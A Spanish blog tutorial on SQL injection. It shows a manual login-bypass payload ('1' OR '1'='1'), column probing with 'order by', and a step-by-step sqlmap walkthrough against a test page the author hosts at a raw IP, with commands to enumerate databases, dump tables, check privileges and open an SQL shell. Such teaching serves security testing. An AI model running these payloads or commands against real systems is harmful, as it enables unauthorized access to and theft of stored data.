Automatizando ataques de inyección de SQL

Automatizando ataques de inyección de SQL

COMPARTIR 0 TWITTEAR

Pruebas de seguridad en las bases de datos

SQL Injection es una técnica de ataque a paginas o aplicaciones, que intenta inyectar código SQL dentro de la aplicación destino, para romper o acceder a información.

Por ejemplo cuando una web tiene un área de ingreso de usuario o login usualmente el desarrollador para validarlo, hace lo siguiente:

SELECT * FROM Users WHERE Username='usuario' AND Password='contraseña'

Si las variables usuario y contraseña se toman directamente de el formulario sin ningún tipo de escape de caracteres y se ingresan en la consulta, podríamos hacer que el usuario y contraseña tengan como valor ‘1’ OR ‘1’ = ‘1’.

La instrucción de SQL quedaría así:

SELECT * FROM Users WHERE Username='1' OR '1' = '1'  AND Password='1' OR '1′'= '1'

Esto significa que podríamos en ciertos casos identificar el número de columnas que contiene la tabla que muestra la información de la pagina que se esta auditando:

www.sitio.com/noticias.php?id=1 order by 1-- [Sin error]
www.sitio.com/noticias.php?id=1 order by 2-- [Sin error]
www.sitio.com/noticias.php?id=1 order by 3-- [Error]

El error se muestra al colocar el numero 3, esto quiere decir que la tabla solamente tiene 2 columnas.

Y así sucesivamente lo podríamos hacer manualmente, para efectos didácticos es recomendado hacerlo así. Pero en ambientes reales de auditoria, el tiempo es importante y si hacemos uso correcto de las herramientas tendremos los mismos resultados como si lo hiciéramos a mano y a veces mejores.

SQLmap, automatizando la inyección de SQL

SQLmap tiene soporte para distintos motores de base de datos: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

Tiene la capacidad de realizar de manera automática 6 técnicas de ataques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.

Requisitos

Python 2.7.5 o mayores.

Instalando SQLmap

Utilizamos Git para obtener el programa:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 

Esto nos creara la carpeta sqlmap-dev en donde encontraremos una serie de archivos, pero el que nos interesa para ejecutar la herramienta, es sqlmap.py

Para hacer pruebas reales, creamos una página -donde podrán probar- lo que continuación les mostraremos, en esta dirección.

Conocer el motor, el nombre de la base de datos y más.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --current-db

Entre todos los datos que se nos muestra al final veremos esto:

back-end DBMS: MySQL 5.0
[22:28:48] [INFO] fetching current database
current database:    'testrootear'

Así que ya conocemos el nombre de la base de datos, en este caso testrootear.

Listando las tablas de la base de datos

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --tables -D testrootear

Resultado:

[22:17:39] [INFO] fetching tables for database: 'testrootear'
Database: testrootear
[1 table]
+----------+
| noticias |
+----------+

Ahora ya conocemos que el nombre de la tabla es noticias.

Listando las columnas de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --columns -T noticias -D testrootear

Resultado:

Database: testrootear
Table: noticias
[2 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| descripcion | varchar(200) |
| titulo      | varchar(100) |
+-------------+--------------+

Mostrar el contenido de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dump -T noticias -D testrootear

Resultado:

Database: testrootear
Table: noticias
[2 entries]
+-----------------------------------------------+--------------------------------+
| titulo                                         | descripcion               |
+-----------------------------------------------+--------------------------------+
| Android y sus especificaciones   | Lo mejor de Android   |
| Windows y sus especificaciones | Lo mejor de Widow$  |
+------------------------------------------------+-------------------------------+

Mostrar si el usuario de la base de datos que usamos en DBA

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --is-dba

Resultado:

[22:23:38] [INFO] testing if current user is DBA
[22:23:38] [INFO] fetching current user
[22:23:38] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA:    False

Mostrar otras bases de datos que hay en el servidor.

En este punto va a depender de los privilegios que tenga el usuario, en el script que tenemos para que hacer pruebas el usuario solamente tiene privilegios sobre la base de datos testrootear y por defecto information_schema.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dbs

Mostrar los privilegios del usuario actual

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --privileges

Resultado:

database management system users privileges:
[*] 'rootearok'@'localhost' [1]:
privilege: USAGE

Obteniendo SQL Shell

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --sql-shell

Como respuesta nos da una shell SQL en donde se podrá realizar consultas, escribimos:

SELECT @@datadir

Resultado:

sql-shell> SELECT @@datadir
[22:33:20] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'
SELECT @@datadir:    '/var/lib/mysql/'

Ciertamente SQLmap nos ofrece muchas opciones mas avanzadas, las cuales podremos ahondar mas en la documentación que se encuentra aquí. Depende de nosotros el uso que le demos a este tipo de herramientas, así que si vamos a hacer pruebas en otros ambientes no controlados o ajenos, no nos hacemos responsables.

Archivado en Base de datos, hack, Inyección, iSQL, Seguridad, SQL, SQLmap
COMPARTIR 0 TWITTEAR

Comentarios (10)

Usa tu cuenta de Facebook para dejar tu opinión.

Publica tu opinión usando tu cuenta de Facebook.

¿Te ha gustado? ¡No te pierdas nada más!

follow us in feedly

Nuestros blogs